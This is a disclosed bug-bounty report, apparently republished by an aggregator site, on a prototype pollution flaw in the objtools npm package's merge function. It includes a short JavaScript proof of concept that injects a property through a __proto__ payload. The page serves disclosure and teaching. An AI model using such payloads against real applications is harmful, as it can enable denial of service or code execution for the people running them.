Skip to content
Prototype pollution Disclosed report Beginner

[objtools] Prototype pollution

The merge function in the objtools npm package copies a __proto__ key from attacker-supplied input onto Object.prototype, so every object in the process gains the injected property. Depending on how the host application uses objects, this could lead to denial of service, property injection or remote code execution.

d3lla Follow

Originally disclosed on HackerOne

  • Triaged in 2 hours
  • Fixed in 4 months
  • Disclosed after 4 months

I would like to report a prototype pollution vulnerability in objtools module. It allows an attacker to inject properties on Object.prototype.

Module

module name: objtools version: 2.0.1 npm page: https://www.npmjs.com/package/objtools

Module Description

objtools provides several utility functions for working with structured objects. Basic examples of how to use are provided below. See the docs directory for full information.

Module Stats

[30] weekly downloads

Vulnerability

Vulnerability Description

The merge function can be used to add/modify properties of the Object prototype. These properties will be present on all objects.

Steps To Reproduce:

  • install objtools module:
    • npm i objtools

Create an object with __proto__ property and pass it to the merge function:

JavaScript

const objtools = require('objtools');
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
let obj = {};
console.log("Before : " + obj.polluted);
objtools.merge({}, payload);
console.log("After : " + obj.polluted);

Output:

CONSOLE

Before : undefined
After : yes
objtools_poc.mov From the original on HackerOne

Supporting Material/References:

  • OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
  • NODEJS VERSION: v14.1.0
  • NPM VERSION: 6.14.5

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Thank you for your time.

best regards,

d3lla

Impact

The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.

The original report as published on HackerOne, by d3lla. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The merge function copies a __proto__ key from input onto Object.prototype rather than only the target object.

Impact

The impact depends on the host application; the reporter states it may be possible to achieve denial of service, remote code execution or property injection.

What the attacker needed

Attacker-controlled input reaches merge; application uses the objtools package

How it was found

  1. Install the objtools module with npm.
  2. Build an object from JSON that contains a __proto__ key holding a property to inject.
  3. Call objtools.merge with an empty target object and that crafted object.
  4. Observe that a fresh unrelated object now shows the injected property.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

JavaScript objects inherit shared defaults from a built-in object called Object.prototype. If a library copies a special key named __proto__ from untrusted input, it can add new defaults that every object in the program then sees. Here the merge helper did exactly that, so a crafted object quietly changed behaviour across the whole application.

What is Prototype pollution?

Input changes JavaScript's shared object prototype, altering behaviour across the application, sometimes to XSS or code execution.

More by d3lla

View all

16 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Prototype pollution

The lesson behind this report.

Input changes JavaScript's shared object prototype, altering behaviour across the application, sometimes to XSS or code execution.